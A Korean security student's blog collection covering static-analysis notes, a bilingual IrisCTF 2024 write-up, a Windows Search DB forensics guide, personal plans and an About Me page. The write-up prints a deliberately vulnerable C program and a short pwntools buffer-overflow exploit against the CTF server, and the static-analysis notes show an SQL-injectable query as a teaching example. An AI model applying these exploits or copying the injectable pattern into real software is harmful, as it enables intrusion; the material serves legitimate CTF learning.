Static Analysis

코드를 동적으로 실행하지 않고 정적으로 취약점을 진단하는 것
다양한 검사를 거쳐 코드의 문제를 찾아내는 작업

Initial Static Analysis - Analyzing Pattern

초기의 정적 분석은 바이트 패턴등을 사용하여 정형화 된 검사를 수행했다.
그 결과로, 코드의 실행 흐름이나 맥락을 파악하지 못해, 오탐이나 탐지를 하지 못하는 경우가 잦았다.

Source to Sink

Source-To-Sink : Source(취약점이 발생하는 곳으로 사용자 입력 값등이 있음)에서 Sink(이런 데이터가 실행, 사용되는 곳)로 데이터 흐름, 코드 흐름이 발생.
Finding Source Vs Sink Sink : 코드 흐름이 크고 길다면, 찾기에 매우 어렵고 시간이 많이 듦 Source : 위험하지 않은 함수가 위험하다고 간주될 수 있음(오탐 등등)

Advanced Static Analysis - AST

프로그램의 소스 코드를 각각의 토큰으로 분해한 뒤, 이 토큰들을 이용해 구문 분석을 진행, 구문 분석의 결과는 일반적으로 "구문 트리(Syntax Tree)"라는 형태로 나타나는데, 이 구문 트리를 더 단순화하여 중복되거나 불필요한 정보를 제거한 것이 바로 AST임.

소스코드를 토큰으로 분해함 (렉싱 혹은 토큰화 등을 통해서)
이 토큰들을 구문에 따라 나열하고 분석하여 위와 같은 구문 트리를 만듬
구문 트리를 정리하고 단순화하여 위 같은 완성 된 AST를 생성함

1줄 정리:

AST(추상 구문 트리)는 프로그램의 소스 코드를 토큰화하고 구조화한 뒤, 중복이나 불필요한 정보를 제거하여 단순화한 트리 형태의 데이터 구조

Advanced Static Analysis - CFG

AST에서는 Method에서 CALL과 관련된 정보를 수집 할 수 있지만, 데이터가 source에서 sink로 흐르는지, 어디서 어떻게 흐르는지의 정보는 식별하기 어렵다.

1. username = request.GET.get("username")
2. if request.user.is_superuser:
3.    sql = "SELECT * FROM users"
4.    cursor.execute(sql)
5. elif request.user.is_authenticated:
6.    sql = f"SELECT * FROM users WHERE username={username}"
7.    cursor.execute(sql)
8. else:
9.    print("404")

위의 코드를 흐름표로 나타내면 이와 같다. 어디서 어느 분기에 어떻게 call이 되는지 한 눈에 볼 수 있어 유용하다.

Data flow analysis and taint tracking

취약점 유발 가능한 입력값을 TAINT로 마킹 후, 이 데이터가 어느 경로로 흘러 들어가는지 파악함.
Source로부터 어떤 함수를 거쳐서 Sink에 도달하는지 알 수 있고, 이를 통해 빠르면서 정확한 분석이 가능함.
동적 분석과는 다르게 실행 때 발생하는 데이터 흐름을 유추하기에는 한계가 있음.

CodeQL Usuage

https://docs.github.com/ko/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning

Github Action의 CodeQL을 통해서 사용하는 것이 제일 빠르고 쉬운 방법
위에서 설명한 from, where, select 명령어로 원하는 내용을 grab할 수 있음

import python

from Call c
where c.getLocation().getFile().getRelativePath().regexpMatch("2/challenge-1/.*")
select c, "This is a function call"

위 코드는 2/challenge-1/ 아래의 모든 파일의 call을 다 갖고 오는 구문.

2024 IRIS CTF Write UP - 35th place

MyLostChristmas — Sun, 14 Jan 2024 12:28:48 +0900

한국인분들은 아래 KOREAN 부분부터 읽으시면 됩니다.

English

Hi, I'm part of the DeadSec team this time, and I solved 2 prob on the CTF in a hurry during the BOB project, and one question with a teammate. Even though I solved the 3 prob, I thought it would be good to keep a record of it.

PWN

Insanity Check (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
}

If you look at the code above, you'll notice that we immediately get an overflow from strcpy in main, and we provide a flagright after we pop the rdi in a function called win. Once we get past copying the suffix of the message, the last 8 bytes of the stack are the structure

.com\0\0\0\0\0 (four NULL bytes added to the suffix). Covering the RET value with 0x6d6f632e (.com), which is the function address of win, solves the problem.

from pwn import *
context.terminal=["tmux","splitw","-h"]
context(arch='amd64',os='linux')
r = remote('insanity-check.chal.irisc.tf', 10003)
payload = b"A" * 56 + b"\n"
r.send(payload)
r.interactive()

[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

Serious Banking(SOLVED BY msh1307) (PWN)

When we make a transaction, we get a sign extension that converts Signed -> Unsigned.

This allows us to invade the seperator variable, and since seperator is used in print(seperator), we even figured out that it could be used for FSB.

But you beat me to it :D

Thx For msh1307

FORENSINC

Corrupted World(FOREN)

I was given a file called r.0.0.mca. An mca file is a chunk file for Minecraft, and from the hints I was able to figure out that it was giving me the coordinates 104 63 248. I created a map for single-player, manipulated some of the chunk files to force load the chunks, and found that there was a box at those coordinates, but nothing in it. Assuming that the problem was "Corrupted World" and therefore invisible to the loader that loaded the chunk, I tried to use the https://github.com/funnyboy-roks/mca-parser MCA parser for recovery, but it didn't work with the latest version of 1.20.2, so I did a little trick and opened a server with buckets and then figured that if I loaded the chunk from the server, it wouldn't load and fix it because it wasn't a local map, so I opened a local bucket server and TPed to those coordinates, and There are some of the FLAGs were book titles.

irisctf{block_game_as_a_file_system}

OSINT

Czech where?

The problem shows you a picture of your surroundings and asks you to find the name of a road in that location. Through a Google image search, I was able to find a blog by a Japanese person.

irisctf{zlata_ulicka_u_daliborky}

Korean

안녕하세요, 이번에 DeadSec 팀 소속으로 문제를 풀게 되어 BOB 프로젝트 도중 급하게 CTF에서 2문제를 풀고, 한 문제는 팀원과 함께 풀었습니다. 3문제를 풀었더라도 기록은 남기는 것이 좋을 것 같아 기록으로 남깁니다.

PWN

Insanity Check (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
}

위 코드를 보면 main에서 strcpy에서 오버플로우가 나는 것을 바로 알아챌 수 있고, win이라는 함수에서 rdi를 pop한 후 바로 플래그를 제공하는 것을 알 수 있습니다. message의 suffix를 복사하는 과정을 지나고 나면, 스택의 마지막 8바이트는

.com\0\0\0\0(suffix에 NULL바이트 4개)가 추가한 구조가 됩니다. RET 값을 win의 함수 주소인 0x6d6f632e(.com)로 덮으면 문제를 해결할 수 있습니다.

from pwn import *
context.terminal=["tmux","splitw","-h"]
context(arch='amd64',os='linux')
r = remote('insanity-check.chal.irisc.tf', 10003)
payload = b"A" * 56 + b"\n"
r.send(payload)
r.interactive()

[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

Serious Banking(SOLVED BY msh1307) (PWN)

거래를 진행할 때 Signed -> Unsigned로 변환되는 부호 확장이 일어나게 됩니다.

이를 통해 seperator 변수를 침범할 수 있게 되고, seperator는 print(seperator)에서 사용되기 때문에 FSB에 사용될 수 있는 것까지 알아냈습니다.

그러나 팀원분이 먼저 해결해주셨습니다 :D

FORENSINC

Corrupted World(FOREN)

r.0.0.mca라는 파일이 제공되었습니다. mca파일은 마인크래프트의 청크 파일인데, 힌트를 보면 104 63 248라는 좌표를 주고 있음을 알아낼 수 있었습니다. 싱글 플레이를 위한 맵을 제작하고, 청크 파일 일부를 조작하여 청크를 강제 로드했는데, 해당 좌표에 상자는 있었지만 아무 내용이 없는 것을 확인 할 수 있었습니다. 문제 자체가 "Corrupted World"기 때문에 청크를 로드한 로더에게는 보이지 않는다고 가정, 복구를 위해 https://github.com/funnyboy-roks/mca-parser MCA 파서를 사용하려 했지만, 1.20.2의 최신버전에서는 작동하지 않았기 때문에 약간의 트릭으로 버킷으로 서버를 연 다음 서버에서 청크를 로드하게 된다면 로컬 맵이 아니기 때문에 청크가 로드되어서 Fix되지 않을거라 판단, 로컬 버킷서버를 열고 나서 해당 좌표로 TP하게 되니 FLAG의 일부들이 책 제목으로 되어있었습니다.

irisctf{block_game_as_a_file_system}

OSINT

Czech where?

문제에서 주변 환경의 사진을 보여주면서 해당 위치의 도로 이름을 구하라고 합니다. 구글 이미지 검색을 통해 일본인의 블로그를 발견할 수 있었습니다.

irisctf{zlata_ulicka_u_daliborky}

What Is Windows Search DB?

MyLostChristmas — Tue, 26 Dec 2023 14:39:13 +0900

What Is Windows Search DB?

Windows Search DB는 Windows 운영 체제에 내장된 검색 기능을 지원하는 데이터베이스이다. 이 데이터베이스는 파일, 폴더, 응용 프로그램, 설정, 문서 등과 같은 사용자의 컴퓨터에 저장된 데이터를 인덱싱하여 저장한 데이터베이스이다.

Windows.EDB (Windows Search DB) 파일의 구조?

EDB 파일의 구조?

데이터베이스 헤더: EDB 파일의 시작에 위치하며, 데이터베이스의 기본 정보와 구성을 포함함.
테이블: EDB 파일은 여러 테이블로 구성되는데 각 테이블은 레코드의 집합으로 구성되며, 특정 유형의 데이터를 저장함. 예를 들어, 파일, 폴더, 메일 등은 각각 다른 테이블에 저장됨.
레코드: 각 테이블에는 레코드가 포함되어 있고, 이러한 레코드는 해당 테이블에 저장된 개별 항목의 데이터를 포함함.
인덱스: EDB 파일은 효율적인 데이터 검색을 위해 인덱스를 담고 있음.인덱스는 주로 빠른 데이터 액세스를 위해 특정 필드의 값을 키로 사용하여 레코드를 정렬함.

EDB 파일 정보의 구조?

EDB 파일은 수 십개의 여러 테이블로 이루어져 있지만, 포렌식에서 쓰이는 테이블은 크게 3가지로 분류할 수 있다.

SystemIndex_Gthr

이 테이블에는 Search Indexer에서 인덱싱 된 모든 파일과 폴더 등의 메타데이터가 포함되어 있다. 포렌식 할 때 주로 조사하는 테이블 중 하나.
이 테이블의 구조는 아래와 같다 :여기서 우리가 눈여겨 볼 Column은 ScopeID, DocumentID, SDID, LastModified, Filename 등이 있는데, 이 테이블의 각각의 저장 내용을 살펴보자면 아래와 같이 정리할 수 있다.
- ScopeID: 레코드의 상위 폴더를 담고 있다. 아래에서 볼 GthrPth 테이블에서도 참조된다.
- DocumentID: 모든 파일 및 폴더에 할당 된 순차적 정수. 이 ID는 파일이 생성될 때 순차적으로 할당됨. 이 ID는 PropertyStore 테이블에서 참조됨.
- SDID: 파일 소유권 및 액세스 제어에 대한 정보가 포함된 보안 설명자 ID. 자세한 내용은 MSDN 문서 참조(SDID 설명)
- LastModified: 이름 그대로 마지막 수정 된 시간의 타임스탬프.
- Filename: 이름 그대로 파일의 이름

SystemIndex_GthrPth

이 테이블에는 SystemIndex_Gthr 테이블에 인덱싱된 파일의 상위 폴더가 포함되어 있다.

이 테이블의 구조는 아래와 같다:이 테이블은 Scope, Parent, Name이라는 세 가지 Column을 갖고 있다.
- Parent: Scope 레코드의 상위 폴더.
- Name: 폴더의 이름
Scope Column은 이미 살펴봤으므로 Parent, Name 칼럼의 역할을 정리해보면 아래와 같다

SystemIndex_PropertyStore

이 테이블에는 인덱싱 된 파일과 폴더에 대한 추가적인 속성이 포함되어 있다. PropertyStore에는 너무 많은 Column들이 있어 모두 소개할 순 없고, 포렌식에서 자주 확인되는 Column들을 소개한다:

위 칼럼들의 역할을 정리해보면 아래와 같다:
- WorkID: 레코드에 할당 된 정수, DocumentID 과 같이 매핑 됨.
- System_Search_GatherTime: Windows 파일 시간 형식으로 저장 된 데이터베이스에서 레코드가 인덱싱 된 시간을 저장
- System_Size: 말 그대로 파일 크기(바이트 형식)
- System_ModifiedTime: Windows 파일 시간 형식으로 저장된 마지막 수정 시간
- System_CreatedTime: Windows 파일 시간 형식으로 저장된 레코드의 생성 시간
- System_FileOwner: 사용자 이름으로 저장된 파일을 만든 사용자의 이름
- System_ItemPathDisplay: 레코드의 전체 경로
- System_ItemType: 파일 확장자를 기반으로 하는 레코드의 파일 유형. 확장자가 없는 FILE일 경우 값은 “ “임.
- System_FileAttributes: 윈도우 파일 속성(문서 참고:참고문서)
- System_Search_AutoSummary: 파일의 일부 내용(Summarize 된 값)
실제로 Property 테이블만 참고해도, 파일의 확장자, 소유자, 설명(Summary), 위치, Modified/MakeTime(16진수)등을 한 번에 볼 수 있었다. 삭제한 파일도 정상적으로 뜨는 것을 확인했다.

그럼 왜 Windows Search Database가 생기나?

Windows Search DB는 파일 및 폴더의 이름, 속성, 메타데이터, 내용 등을 수집하고 이 정보를 색인화하여 빠른 검색을 지원. 사용자가 파일을 찾기 위해 검색 기능을 사용하면, 이 데이터베이스를 활용하여 컴퓨터에서 해당 파일을 빠르게 검색할 수 있음.
Window Search는 ”%ProgramData%\Microsoft\Search\Data\Applications\Windows”에 Windows.edb 파일을 만듦.(필자의 컴퓨터에서 찍은 사진이다)

Windows Search Database가 성능에 무슨 이점을?

빠른 검색 속도: Windows Search Database는 파일 및 애플리케이션에 대한 메타데이터를 인덱싱하여 빠른 검색 속도를 제공. 검색 쿼리가 발생할 때 미리 작성된 인덱스를 사용하여 결과를 더 빠르게 찾아낼 수 있으므로 일반적인 파일 시스템 검색보다 훨씬 빠름.
최적화된 검색 쿼리: Windows Search Database는 복잡한 검색 쿼리도 처리할 수 있음. 파일 이름, 크기, 유형, 수정 날짜, 작성자 등 다양한 Attributes들을 기반으로 검색을 하면서, 이를 통해 사용자가 원하는 파일이나 애플리케이션을 더 정확하게 찾을 수 있음.
백그라운드 인덱싱: Windows Search Database는 백그라운드에서 작동하여 시스템 리소스에 큰 영향을 미치지 않으면서 파일 및 애플리케이션의 새로운 변경 사항을 실시간으로 감지하고 인덱싱을 함. 따라서 파일이나 애플리케이션이 추가되거나 변경되면 빠르게 새로운 데이터를 검색할 수 있음.

Windows Search Database(EDB)의 특징?

AutoSummary라는 값을 보면, 파일이 어떤 활동을 하고 있는지 대충 유추할 수 있음.
- 이렇게 강력한 기능이어도, 확장자에 따라 autosummary 기능이 작동하고 안하고가 달라짐. 아래는 호환 확장자 목록
  - Active Server Page (.asp)
  - Batch files (.bat)
  - Command files (.cmd)
  - Email files (.eml)
  - Excel files (.xlsx)
  - HTML files (.html)
  - Configuration files (.ini)
  - JavaScript (.js)
  - OneNote files (.one)
  - PDF files (.pdf)
  - Registry files (.reg)
  - SQLite files (.sql)
  - Text files (.txt)
  - Visual Basic files (.vbs)
  - Word files (.docx)
  - XML files(.xml)
  - Zip files (.zip) – Windows 10에서만…
파일의 크기가 전체 파일의 개수,크기에 따라 비례해서 커짐. 인덱싱을 해야할 개수가 늘어나니,
인덱싱 된 결과값이 많아져 크기가 커지게 됨.

또, 다른 파일과는 다르게 Windows Search Service가 켜져있으면 파일을 열람하거나 수정 불가.

다른 아티팩트보다 크기가 커, 한 번에 확인할 수 있는 정보가 되게 많음(아래와 같은 페이지가 6개가 넘게 있음. Property 테이블에만..

윈도우 10과 윈도우 11에 들어오면서 EDB 파일의 구조가 달라졌음. Gather와 Property를 나눈듯 함. 분석하면서 파일이 너무 커 분석에 오래 걸렸는데, 이를 해결하기 위해 db를 파편화하려는 노력의 일환 같음(아마도? 개인적인 주관임.)

위 3D 그림 출처: https://www.aon.com/cyber-solutions/wp-content/uploads/Aon_Cyber_Labs_Blog_Windows_Search_Index-2.png

이렇게 구조가 파편화되면서, Columns의 ID와 이름들이 살짝씩 달라졌으나, 대부분 함유하고 있는 내용은 같음.
아래는 윈 10과 11의 차이를 보여주고 있음.(윈10환경이라, 윈11의 EDB를 구할 수 없어, 이 이미지는 어쩔 수 없이 퍼왔음..) 출처: https://www.aon.com/cyber-solutions/wp-content/uploads/Aon_Cyber_Labs_Blog_Windows_Search_Index-3.png

Windows Search Database(EDB) 분석 프로그램

ESEDatabaseViewer: 분석하고 싶은 테이블을 지정할 수도 있고, Export도 가능함. 여러 정보를 한 눈에 볼 수 있음. 그러나 EDB 파일을 열 때 Windows Search 서비스를 끄고 읽어야함. 그리고 Property 테이블과 같은 큰 테이블은 10분정도 기다려야 오픈할 수 있음.

WinSearchDBAnalyzer
- GUI 형태로 조금 더 쉽게 볼 수 있음. Recovery Deleted File이라는 부가적인 옵션이 있어, 이를 통해 더 나은 포렌식을 할 수 있음. 또, 특정 테이블만 볼 수 있도록하는 필터링하는 기능이 있음. 난잡하게 보이는 위 프로그램과 달리, 파일을 GUI 형태로 볼 수 있어 훨씬 가독성 있었음.

참고 문헌:

http://forensic-proof.com/wp-content/uploads/2011/07/Windows-Search.pdf

https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/larger-windowsdotedb-file

https://www.aon.com/cyber-solutions/aon_cyber_labs/windows-search-index-the-forensic-artifact-youve-been-searching-for/

https://www.coursehero.com/file/145545329/Lectures-9-10pdf/

https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2429795

2023 연말결산 / 2024 계획

MyLostChristmas — Tue, 12 Dec 2023 12:32:56 +0900

한 동안 BOB 프로젝트를 하며 학교 시험 공부까지 병행하느라 글을 쓰지 못했습니다.

BOB와 학교 공부 병행이 생각보다 어렵네요.

그나저나 2023년도 마무리까지 1달도 남지 않았습니다.

크리스마스까지는 12일 정도 남았는데, 개인적으로 크리스마스는 제게 꽤 의미있는 날입니다.

언젠가 시간이 되면 블로그 이름과 테마 선정같은 이유도 조금 풀어볼 예정입니다.

오늘은 2023년 4월에 계획했던 플랜들을 얼마나 이뤘는지 체크하고, 2024 계획을 초안만 짜보려 합니다.

2023 PLAN

✅ 하이퍼바이저 공부 / NPT EPT 후킹 공부 -> ..ing

✅ BOB 프로젝트 성공적 마무리

✅ 써드파티에서 CVE 적어도 5개 이상 따보기

✅ 해킹 대회에서 2등 이상 대회 실적 얻기

✅ BOB 하기

✅ 외국인 친구 여러 사귀어서 새로운 정보 얻어보기

✅ 외국인들과 해킹 팀 이루기

✅ 윈도우 인터널즈/언노운치트로 윈도우 커널 더 공부하기

✅ 윈도우 빌트인 CVE 얻기 -> with Team

✅ 드림핵 8레벨 이상, pwnable.kr 어려운 문제 풀기

✅ Fuzzing 개념 공부

✅ ARM/MIPS 등 IOT 기반 디바이스 펌웨어 추출/해킹 방법 공부

☑️ 하이퍼바이저 행동 기반 악성코드 탐지기 개발 -> TODO

☑️ 외국팀과 메이저 대회 나가기 -> 팀 구성만 함

☑️ 드림핵 10레벨 최종 문제 풀기 -> 여러 공부중

2024 PLAN

☑️ 드림핵 10레벨 문제 2개 이상 풀기

☑️ 이스라엘/러시아 친구들과 해외 대회 여러개 나가보기

☑️ 나만의 하이퍼바이저로 PatchGuard 우회하여 루트킷 감지하는 툴 만들기

☑️ 해킹 공부 / 과목 공부 비율 맞추기(영어는 꾸준히 계속 공부하고 있었는데, 수학 등 학교공부에도 많이 신경을 써야하겠다는 생각이 들었음. 여러 수식들을 표현하거나 해외 논문에서 수학적 표현법이 많이 나옴.. 방학 중으로 수학 열심히 해야겠다)

☑️ 윈도우 취약점 2개 이상 찾기

☑️ Fuzzing에 대해서 더 깊게 공부해보기

곧 크리스마스인데 다들 행복한 크리스마스, 연말 되셨으면 합니다.

내년 이 맘 때쯤 이 글을 볼 나 자신에게 다 이뤘냐고, 해야할 것, 하고 싶은 것, 다 했냐고 물었을 때

당당하게 답할 수 있을 정도로 열심히 살아가려 합니다.

요즘 들어 논문을 읽거나 해외 친구들과 대화할 때 수학과 영어의 더 깊은 지식을 필요로 한다는 것을 느낍니다.

저도 현재 본질적으론 학생이니, 2024부터는 쉴 시간에 학업을 더 열심히 함으로서 해킹공부의 비율을 최대한 챙기며,

학교 공부에 집중해보려합니다. BOB도 끝나가니 공부할 시간이 많아지겠네요.

크리스마스, 연말이 주는 분위기에 젖으며

다들 소중한 사람들과 좋은 크리스마스를 보내시면 좋겠습니다.

아래는 나중에 열심히 공부하고, 일해서 꼭 가보고 싶은 핀란드 로바니에미의 산타 마을입니다.

지칠 때마다 이 글을 보면서 힘내고 싶어서, 목표 상기용으로 사진 넣어봤습니다.

About Me

MyLostChristmas — Fri, 24 Nov 2023 01:46:15 +0900

Who Am I?

Hi, I'm from Republic of Korea.

I am most interested in pwnable and Game Hacking.

I am building my knowledge through various papers, CTF Write-UPs, and 1-day case analysis.

Nickname : Zoodasa(1st), Mylostchristmas(2nd)

Real Name : Seung Chan Kim

Archive:

2023 ~ 2024 STEALTH in KDMHS
2023 ~ 2024 ST3P (Domestic, Local / Academic Team)

2023/24 ~ BoB 12th Vuln Analysis BEST 10 (The Youngest Best 10)

2023 ~ DeadSec(Global Team)
2023 ~ Friendly Maltese Citizens(Global Team, Deputy Team Leader)

2024 ~ Hide on /bin/sh(Domestic, Team Leader)

2025 ~ Bachelor’s Degree in Computer Science, KAIST

2025 ~ HyperSonic

Stats

After being introduced to real-world hacking with game hacking and OS hacking.
To Improve My own Skill,
I am studying hard with resources such as Dreamhack, Pwnable.kr, Lazenca, and Windows Internals.
For Pwnable, I studied on sites like pwn.college, pwnable.tw, pwnable.xyz, etc.
For Real-World, I am studying through CVE, 1-Day Case analysis, etc. and hunting for CVE.

Awards ✨

2025

Hacking
- 1st place in DEFCON 33 ICS Village CTF (Red Alert) (2025) / Team Breezeway
- 1st place in Midnight CTF Quals / Finals (2025) / Team OTNWS
- 1st place in CCE 2025 Quals (2025) / Team Hide on /bin/sh
- 1st place in CCE 2025 Finals (2025) / Team Hide on /bin/sh
- 5th place in Plaid CTF (2025) / Team Friendly Maltese Citizens
- LakeCTF Final (2025) / Team OTNWS

2024

Hacking
- BoB 12th Vuln Analysis BEST 10 (The Youngest Best 10)
- 1st place in BoB Vuln Analysis Top 39 CTF (2024) / Solo Play
- 1st place in Cyber Apocalypse 2024: Hacker Royale (2024) / Team Friendly Maltese Citizens
- 1st place in R3CTF/YUANHENGCTF (2024) / Team Friendly Maltese Citizens
- DEFCON 32 Final Deputy Team Leader (2024) - Team Friendly Maltese Citizens
- 2nd place in LINE CTF (2024) / Team Friendly Maltese Citizens
- 3rd place in Plaid CTF (2024) / Team Friendly Maltese Citizens
- 3rd place in Real World CTF 6th (2024) / Team Friendly Maltese Citizens
- 1st place in CCE 2024 Quals (2024) / Team Hide on /bin/sh
- 1st place in KOSPO CTF (2024) / Team Hide on /bin/sh
- 2nd place in WhiteHat Contest Finals (2024) / Team Hide on /bin/sh
- 1st place in CCE 2024 Finals (2024) / Team Hide on /bin/sh
- 1st place in Hitcon 2024 Finals (2024) / Team Friendly Maltese Citizens

2018 ~ 2023

CS & Algorithm & Ps
- 2nd place in E-News(전자 신문) SW Thinking Olympiad (2018)
- 1st place in E-News(전자 신문) SW Thinking Olympiad (2019)
- 2nd place in National 4th SW Industry Idea Contest (2020)

Hacking
- 3rd place in National Middle School IT Hacking Defense Olympiad Final (2021)
- 1st place in National Middle School IT Hacking Defense Olympiad Final (2022)
- 3rd place in Electric Sector Cyber Contest(ELECCON) by National Intelligence Service Finalist (2023)
- 2nd place in The Hacking Championship Junior 2023(a.k.a. hackchamp) Finalist (2023)

CVE & KVE✅

2026 - MSRC-Case-107***(Windows Built-in TOC-TOU LPE / Under Assigning CVE)
CVE-2024-20653(Windows CLFS.sys LPE)
CVE-2023-46859(MSI LPE)
CVE-2023-31341(AMD KERNEL NULL DEREF)
CVE-2023-46280(SIEMENS KERNEL NULL DEREF)
CVE-2023-47569 (WinJungo Kernel Driver LPE/DOS/Heap Corrupt)
CVE-2023-47570 (WinJungo Kernel Driver LPE/DOS/Heap Corrupt)
CVE-2023-47571 (WinJungo Kernel Driver LPE/DOS/Heap Corrupt)
CVE-2023-47572 (WinJungo Kernel Driver LPE/DOS/Heap Corrupt)
KVE-2023-5529 (Exosphere Buffer OverFlow)
KVE-2023-5530 (Exosphere AAK)
KVE-2023-5572 (Ahnlab Null Deref)
KVE-2023-5573 (INCA Dos)
KVE-2023-5574 (INCA Dos)

Contributions

2023-2024 STEALTH Freshman CTF Organizer
2024 PwnSec CTF Organizer
2024 DeadSec CTF Organizer
2025 ACSC CTF Organizer (3 Super Hard Pwn chall)
hyper-reV : memory introspection and reverse engineering hypervisor powered by leveraging Hyper-V Devs Assistant (https://github.com/noahware/hyper-reV)
MICROSOFT MSRC CVE-2024-20653 - Security Update Guide - Microsoft - Microsoft Common Log File System Elevation of Privilege Vulnerability
MSI SECURITY HALL OF FAME ( a.k.a bob 12 ) https://csr.msi.com/global/product-security-advisories
ESCAN SECURITY HALL OF FAME( a.k.a zoodasa ) https://www.escanav.com/en/support/eScan-hall-of-fame.asp

Speaker

2024 .Hack Conference Tech Session Speaker
- ComRaceConditionSeeker : Finding Race Condition Bug in COM Objects with IdaPython

Contact

Email : hyjun0407@gmail.com
Discord : endbr64
GitHub : hyjun0407